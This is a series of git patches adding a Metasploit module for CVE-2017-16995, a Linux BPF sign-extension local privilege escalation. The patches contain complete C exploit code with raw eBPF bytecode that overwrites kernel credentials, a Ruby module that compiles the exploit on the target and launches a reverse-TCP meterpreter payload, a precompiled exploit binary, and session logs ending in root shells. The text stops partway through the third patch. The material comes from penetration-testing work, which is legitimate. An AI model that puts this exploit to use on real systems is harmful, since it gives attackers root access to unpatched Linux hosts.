From 6b0691a91a995a6ce6e3a1f5e22f28f9b637e57d Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 23 Mar 2018 21:09:56 -0400 Subject: [PATCH 001/217] cve-2017-16995 --- data/exploits/cve-2017-16995/exploit.out | Bin 0 -> 14040 bytes .../local/bpf_sign_extension_priv_esc.md | 140 +++++++ .../local/bpf_sign_extension_priv_esc.rb | 388 ++++++++++++++++++ 3 files changed, 528 insertions(+) create mode 100644 data/exploits/cve-2017-16995/exploit.out create mode 100644 documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md create mode 100644 modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb diff --git a/data/exploits/cve-2017-16995/exploit.out b/data/exploits/cve-2017-16995/exploit.out new file mode 100644 index 0000000000000000000000000000000000000000..f418861d4501954d34644d50350e5f12b7593a60 GIT binary patch literal 14040 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 J_=NuU{|^AgkDCAh literal 0 HcmV?d00001 diff --git a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md new file mode 100644 index 0000000000..1c0301deb8 --- /dev/null +++ b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md @@ -0,0 +1,140 @@ +## Vulnerable Application + +This module exploits the Berkeley Packet Filter in the Linux kernel prior to 4.13.0, +which cotains a vulnerability where it may improperly perform sign extentension. +This can be utilized to priv escalate. However, this module's offsets and +other parameters have only been set and tested against Ubuntu 16.04. + +This module has been successfully tested on: + + * Ubuntu 16.04 with the 4.4.0-116 kernel + +## Verification Steps + + 1. Start msfconsole + 2. Exploit a box via whatever method + 4. Do: `use exploit/linux/local/bpf_extension_priv_esc` + 5. Do: `set session #` + 6. Do: `set verbose true` + 7. Do: `exploit` + +## Options + + **WritableDir** + + A folder we can write files to. Defaults to `/tmp` + + **COMPILE** + + If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to `Auto` + +## Scenarios + +### Ubuntu 16.04 (with Linux 4.4.0-116-generic) + +#### Initial Access + + ``` + resource (ubuntu.rb)> use auxiliary/scanner/ssh/ssh_login + resource (ubuntu.rb)> set rhosts 2.2.2.2 + rhosts => 2.2.2.2 + resource (ubuntu.rb)> set username ubuntu + username => ubuntu + resource (ubuntu.rb)> set password ubuntu + password => ubuntu + resource (ubuntu.rb)> exploit + [+] 2.2.2.2:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux ' + [*] Command shell session 1 opened (1.1.1.1:36273 -> 2.2.2.2:22) at 2018-03-23 20:42:04 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` + +#### Escalate + +In this scenario, gcc is installed so we can live compile on the system. + + ``` + resource (ubuntu.rb)> use exploit/linux/local/bpf_sign_extension_priv_esc + resource (ubuntu.rb)> set verbose true + verbose => true + resource (ubuntu.rb)> set session 1 + session => 1 + resource (ubuntu.rb)> set lhost 1.1.1.1 + lhost => 1.1.1.1 + resource (ubuntu.rb)> exploit + [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 1.1.1.1:4444 + [+] Kernel confirmed vulnerable + [+] gcc is installed + [*] Live compiling exploit on system + [*] Writing files to target + [*] Writing vQIIRofN to /tmp/vQIIRofN.c + [*] Max line length is 65537 + [*] Writing 7797 bytes in 1 chunks of 26837 bytes (octal-encoded), using printf + [*] Writing iuRJiXBf to /tmp/iuRJiXBf + [*] Max line length is 65537 + [*] Writing 283 bytes in 1 chunks of 844 bytes (octal-encoded), using printf + [*] Starting execution of priv esc. + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (812100 bytes) to 2.2.2.2 + [*] task_struct = ffff88003869aa00 + [*] uidptr = ffff8800354fb244 + [*] spawning root shell + [*] Sleeping before handling stage... + [+] Deleted /tmp/vQIIRofN.c + [+] Deleted /tmp/vQIIRofN + [+] Deleted /tmp/iuRJiXBf + + meterpreter > sysinfo + Computer : 2.2.2.2 + OS : Ubuntu 16.04 (Linux 4.4.0-116-generic) + Architecture : x64 + BuildTuple : x86_64-linux-musl + Meterpreter : x64/linux + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + ``` + +#### Escalate w/ pre-compiled binaries + +It is possible to force pre-compiled binaries, in a scenario where `build-essential` or `gcc` aren't on the system. + + ``` + resource (ubuntu.rb)> use exploit/linux/local/bpf_sign_extension_priv_esc + resource (ubuntu.rb)> set verbose true + verbose => true + resource (ubuntu.rb)> set session 1 + session => 1 + resource (ubuntu.rb)> set lhost 1.1.1.1 + lhost => 1.1.1.1 + resource (ubuntu.rb)> exploit + [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 1.1.1.1:4444 + [+] Kernel confirmed vulnerable + [-] gcc is not installed. Compiling will fail. + [*] Dropping pre-compiled exploit on system + [*] Writing vsQTwocG to /tmp/vsQTwocG + [*] Max line length is 65537 + [*] Writing 14040 bytes in 1 chunks of 36802 bytes (octal-encoded), using printf + [*] Writing JDQDHtEG to /tmp/JDQDHtEG + [*] Max line length is 65537 + [*] Writing 283 bytes in 1 chunks of 844 bytes (octal-encoded), using printf + [*] Starting execution of priv esc. + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (812100 bytes) to 2.2.2.2 + [*] task_struct = ffff88003a8a3800 + [*] uidptr = ffff88003d276304 + [*] spawning root shell + [*] Sleeping before handling stage... + [+] Deleted /tmp/vsQTwocG + [+] Deleted /tmp/JDQDHtEG + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 2.2.2.2 + OS : Ubuntu 16.04 (Linux 4.4.0-116-generic) + Architecture : x64 + BuildTuple : x86_64-linux-musl + Meterpreter : x64/linux + ``` diff --git a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb new file mode 100644 index 0000000000..5ec0854689 --- /dev/null +++ b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb @@ -0,0 +1,388 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Exploit::EXE + include Msf::Post::File + include Msf::Exploit::FileDropper + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'Ubuntu BPF Sign Extension Local Privilege Escalation', + 'Description' => %q{ + Linux kernel prior to 4.13.0 utilize the Berkeley Packet Filter + which cotains a vulnerability where it may improperly perform + sign extentension. This can be utilized to priv escalate, + this module has been tested on Ubuntu 16.04 with the 4.4.0-116 + kernel. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'bleidl', # discovery + 'vnik', #edb + 'h00die' # metasploit module + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'References' => + [ + [ 'CVE', '2017-16995' ], + [ 'EDB', '44298' ], + [ 'URL', 'https://usn.ubuntu.com/3523-2/' ], + [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ] + ], + 'Targets' => + [ + [ 'Linux x64', { 'Arch' => ARCH_X64 } ] + ], + 'DefaultOptions' => + { + 'payload' => 'linux/x64/meterpreter/reverse_tcp', + 'PrependFork' => true, + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 12 2017', + 'Privileged' => true + } + )) + register_options([ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]), + ]) + end + + def check + uname = cmd_exec('uname -r') + if uname == '4.4.0-116-generic' + vprint_good('Kernel confirmed vulnerable') + return CheckCode::Appears + end + print_error('Kernel not vulnerable') + CheckCode::Safe + end + + def exploit + + def upload_and_compile(filename, file_path, file_content, compile=nil) + rm_f "#{file_path}" + if not compile.nil? + rm_f "#{file_path}.c" + vprint_status("Writing #{filename} to #{file_path}.c") + write_file("#{file_path}.c", file_content) + register_file_for_cleanup("#{file_path}.c") + output = cmd_exec(compile) + if output != '' + print_error(output) + fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile") + end + else + vprint_status("Writing #{filename} to #{file_path}") + write_file(file_path, file_content) + end + cmd_exec("chmod +x #{file_path}"); + register_file_for_cleanup(file_path) + end + + c_code = %q{ + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + + #define PHYS_OFFSET 0xffff880000000000 + #define CRED_OFFSET 0x5f8 + #define UID_OFFSET 4 + #define LOG_BUF_SIZE 65536 + #define PROGSIZE 328 + + int sockets[2]; + int mapfd, progfd; + + char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff" + "\x55\x09\x02\x00\xff\xff\xff\xff" + "\xb7\x00\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x18\x19\x00\x00\x03\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\xbf\x91\x00\x00\x00\x00\x00\x00" + "\xbf\xa2\x00\x00\x00\x00\x00\x00" + "\x07\x02\x00\x00\xfc\xff\xff\xff" + "\x62\x0a\xfc\xff\x00\x00\x00\x00" + "\x85\x00\x00\x00\x01\x00\x00\x00" + "\x55\x00\x01\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x79\x06\x00\x00\x00\x00\x00\x00" + "\xbf\x91\x00\x00\x00\x00\x00\x00" + "\xbf\xa2\x00\x00\x00\x00\x00\x00" + "\x07\x02\x00\x00\xfc\xff\xff\xff" + "\x62\x0a\xfc\xff\x01\x00\x00\x00" + "\x85\x00\x00\x00\x01\x00\x00\x00" + "\x55\x00\x01\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x79\x07\x00\x00\x00\x00\x00\x00" + "\xbf\x91\x00\x00\x00\x00\x00\x00" + "\xbf\xa2\x00\x00\x00\x00\x00\x00" + "\x07\x02\x00\x00\xfc\xff\xff\xff" + "\x62\x0a\xfc\xff\x02\x00\x00\x00" + "\x85\x00\x00\x00\x01\x00\x00\x00" + "\x55\x00\x01\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x79\x08\x00\x00\x00\x00\x00\x00" + "\xbf\x02\x00\x00\x00\x00\x00\x00" + "\xb7\x00\x00\x00\x00\x00\x00\x00" + "\x55\x06\x03\x00\x00\x00\x00\x00" + "\x79\x73\x00\x00\x00\x00\x00\x00" + "\x7b\x32\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x55\x06\x02\x00\x01\x00\x00\x00" + "\x7b\xa2\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x7b\x87\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00"; + + char bpf_log_buf[LOG_BUF_SIZE]; + + static int bpf_prog_load(enum bpf_prog_type prog_type, + const struct bpf_insn *insns, int prog_len, + const char *license, int kern_version) { + union bpf_attr attr = { + .prog_type = prog_type, + .insns = (__u64)insns, + .insn_cnt = prog_len / sizeof(struct bpf_insn), + .license = (__u64)license, + .log_buf = (__u64)bpf_log_buf, + .log_size = LOG_BUF_SIZE, + .log_level = 1, + }; + + attr.kern_version = kern_version; + + bpf_log_buf[0] = 0; + + return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); + } + + static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, + int max_entries) { + union bpf_attr attr = { + .map_type = map_type, + .key_size = key_size, + .value_size = value_size, + .max_entries = max_entries + }; + + return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); + } + + static int bpf_update_elem(uint64_t key, uint64_t value) { + union bpf_attr attr = { + .map_fd = mapfd, + .key = (__u64)&key, + .value = (__u64)&value, + .flags = 0, + }; + + return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); + } + + static int bpf_lookup_elem(void *key, void *value) { + union bpf_attr attr = { + .map_fd = mapfd, + .key = (__u64)key, + .value = (__u64)value, + }; + + return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); + } + + static void __exit(char *err) { + fprintf(stderr, "error: %s\n", err); + exit(-1); + } + + static void prep(void) { + mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); + if (mapfd < 0) + __exit(strerror(errno)); + + progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, + (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0); + + if (progfd < 0) + __exit(strerror(errno)); + + if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) + __exit(strerror(errno)); + + if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) + __exit(strerror(errno)); + } + + static void writemsg(void) { + char buffer[64]; + + ssize_t n = write(sockets[0], buffer, sizeof(buffer)); + + if (n < 0) { + perror("write"); + return; + } + if (n != sizeof(buffer)) + fprintf(stderr, "short write: %lu\n", n); + } + + #define __update_elem(a, b, c) \ + bpf_update_elem(0, (a)); \ + bpf_update_elem(1, (b)); \ + bpf_update_elem(2, (c)); \ + writemsg(); + + static uint64_t get_value(int key) { + uint64_t value; + + if (bpf_lookup_elem(&key, &value)) + __exit(strerror(errno)); + + return value; + } + + static uint64_t __get_fp(void) { + __update_elem(1, 0, 0); + + return get_value(2); + } + + static uint64_t __read(uint64_t addr) { + __update_elem(0, addr, 0); + + return get_value(2); + } + + static void __write(uint64_t addr, uint64_t val) { + __update_elem(2, addr, val); + } + + static uint64_t get_sp(uint64_t addr) { + return addr & ~(0x4000 - 1); + } + + static void pwn(void) { + uint64_t fp, sp, task_struct, credptr, uidptr; + + fp = __get_fp(); + if (fp < PHYS_OFFSET) + __exit("bogus fp"); + + sp = get_sp(fp); + if (sp < PHYS_OFFSET) + __exit("bogus sp"); + + task_struct = __read(sp); + + if (task_struct < PHYS_OFFSET) + __exit("bogus task ptr"); + + printf("task_struct = %lx\n", task_struct); + + credptr = __read(task_struct + CRED_OFFSET); // cred + + if (credptr < PHYS_OFFSET) + __exit("bogus cred ptr"); + + uidptr = credptr + UID_OFFSET; // uid + if (uidptr < PHYS_OFFSET) + __exit("bogus uid ptr"); + + printf("uidptr = %lx\n", uidptr); + __write(uidptr, 0); // set both uid and gid to 0 + + if (getuid() == 0) { + printf("spawning root shell\n"); + system("/bin/bash"); + exit(0); + } + + __exit("not vulnerable?"); + } + + int main(int argc, char **argv) { + prep(); + pwn(); + + return 0; + } + + } + + filename = rand_text_alpha(8) + path = "#{datastore['WritableDir']}/#{filename}" + + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + end + + def check_gcc?() + gcc = cmd_exec('which gcc') + if gcc.include?('gcc') + vprint_good('gcc is installed') + return true + else + print_error('gcc is not installed. Compiling will fail.') + return false + end + end + + compile = false + if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' + if check_gcc?() + compile = true + vprint_status('Live compiling exploit on system') + else + vprint_status('Dropping pre-compiled exploit on system') + end + end + + if compile == false + compiled_path = ::File.join( Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out') + fd = ::File.open( compiled_path, "rb") + c_code = fd.read(fd.stat.size) + fd.close + + # use the variable names hard coded in the compiled versions + payload_filename = 'JDQDHtEG' + payload_path = '/tmp/JDQDHtEG' + else + payload_filename = rand_text_alpha(8) + payload_path = "#{datastore['WritableDir']}/#{payload_filename}" + + # make our substitutions so things are dynamic + c_code.gsub!(/system\("\/bin\/bash"\);/, + "system(\"#{payload_path}\");") #launch our payload, and do it in a return to not freeze the executable + print_status('Writing files to target') + cmd_exec("cd #{datastore['WritableDir']}") + end + upload_and_compile(filename, path, c_code, compile ? "gcc -o #{filename} #{filename}.c" : nil) + upload_and_compile(payload_filename, payload_path, generate_payload_exe) + + print_status('Starting execution of priv esc.') + + output = cmd_exec(path) + output.each_line { |line| vprint_status line.chomp } + end +end From e8d910ac08ef1743f757cc8dde9aa1a8736ff65a Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 23 Mar 2018 21:40:46 -0400 Subject: [PATCH 002/217] spelling --- .../exploit/linux/local/bpf_sign_extension_priv_esc.md | 10 +++++----- .../linux/local/bpf_sign_extension_priv_esc.rb | 6 +++--- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md index 1c0301deb8..1bb9c6150f 100644 --- a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md +++ b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md @@ -1,7 +1,7 @@ ## Vulnerable Application This module exploits the Berkeley Packet Filter in the Linux kernel prior to 4.13.0, -which cotains a vulnerability where it may improperly perform sign extentension. +which contains a vulnerability where it may improperly perform sign extentension. This can be utilized to priv escalate. However, this module's offsets and other parameters have only been set and tested against Ubuntu 16.04. @@ -13,10 +13,10 @@ This module has been successfully tested on: 1. Start msfconsole 2. Exploit a box via whatever method - 4. Do: `use exploit/linux/local/bpf_extension_priv_esc` - 5. Do: `set session #` - 6. Do: `set verbose true` - 7. Do: `exploit` + 3. Do: `use exploit/linux/local/bpf_extension_priv_esc` + 4. Do: `set session #` + 5. Do: `set verbose true` + 6. Do: `exploit` ## Options diff --git a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb index 5ec0854689..2f30bd8751 100644 --- a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb @@ -14,8 +14,8 @@ class MetasploitModule < Msf::Exploit::Local super( update_info( info, { 'Name' => 'Ubuntu BPF Sign Extension Local Privilege Escalation', 'Description' => %q{ - Linux kernel prior to 4.13.0 utilize the Berkeley Packet Filter - which cotains a vulnerability where it may improperly perform + Linux kernel prior to 4.13.0 utilizes the Berkeley Packet Filter + which contains a vulnerability where it may improperly perform sign extentension. This can be utilized to priv escalate, this module has been tested on Ubuntu 16.04 with the 4.4.0-116 kernel. @@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Local vprint_status("Writing #{filename} to #{file_path}") write_file(file_path, file_content) end - cmd_exec("chmod +x #{file_path}"); + cmd_exec("chmod +x #{file_path}") register_file_for_cleanup(file_path) end From 2b08c54cda276d00f39a30cb445217a043f0edbe Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 24 Mar 2018 13:59:37 -0400 Subject: [PATCH 003/217] bcoles suggestions --- .../local/bpf_sign_extension_priv_esc.rb | 52 ++++++++++--------- 1 file changed, 28 insertions(+), 24 deletions(-) diff --git a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb index 2f30bd8751..cd7d375582 100644 --- a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking + include Msf::Post::Linux::Priv include Msf::Exploit::EXE include Msf::Post::File include Msf::Exploit::FileDropper @@ -69,9 +70,13 @@ class MetasploitModule < Msf::Exploit::Local def exploit + # a method to upload files consistently, and compile if necessary def upload_and_compile(filename, file_path, file_content, compile=nil) rm_f "#{file_path}" - if not compile.nil? + if compile.nil? + vprint_status("Writing #{filename} to #{file_path}") + write_file(file_path, file_content) + else rm_f "#{file_path}.c" vprint_status("Writing #{filename} to #{file_path}.c") write_file("#{file_path}.c", file_content) @@ -81,14 +86,20 @@ class MetasploitModule < Msf::Exploit::Local print_error(output) fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile") end - else - vprint_status("Writing #{filename} to #{file_path}") - write_file(file_path, file_content) end cmd_exec("chmod +x #{file_path}") register_file_for_cleanup(file_path) end + + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + end + + if is_root? + fail_with Failure::BadConfig, 'Session already has root privileges' + end + c_code = %q{ #include #include @@ -333,10 +344,6 @@ class MetasploitModule < Msf::Exploit::Local filename = rand_text_alpha(8) path = "#{datastore['WritableDir']}/#{filename}" - if check != CheckCode::Appears - fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') - end - def check_gcc?() gcc = cmd_exec('which gcc') if gcc.include?('gcc') @@ -350,24 +357,11 @@ class MetasploitModule < Msf::Exploit::Local compile = false if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' - if check_gcc?() - compile = true - vprint_status('Live compiling exploit on system') - else - vprint_status('Dropping pre-compiled exploit on system') - end + compile = true if check_gcc? end - if compile == false - compiled_path = ::File.join( Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out') - fd = ::File.open( compiled_path, "rb") - c_code = fd.read(fd.stat.size) - fd.close - - # use the variable names hard coded in the compiled versions - payload_filename = 'JDQDHtEG' - payload_path = '/tmp/JDQDHtEG' - else + if compile + vprint_status('Live 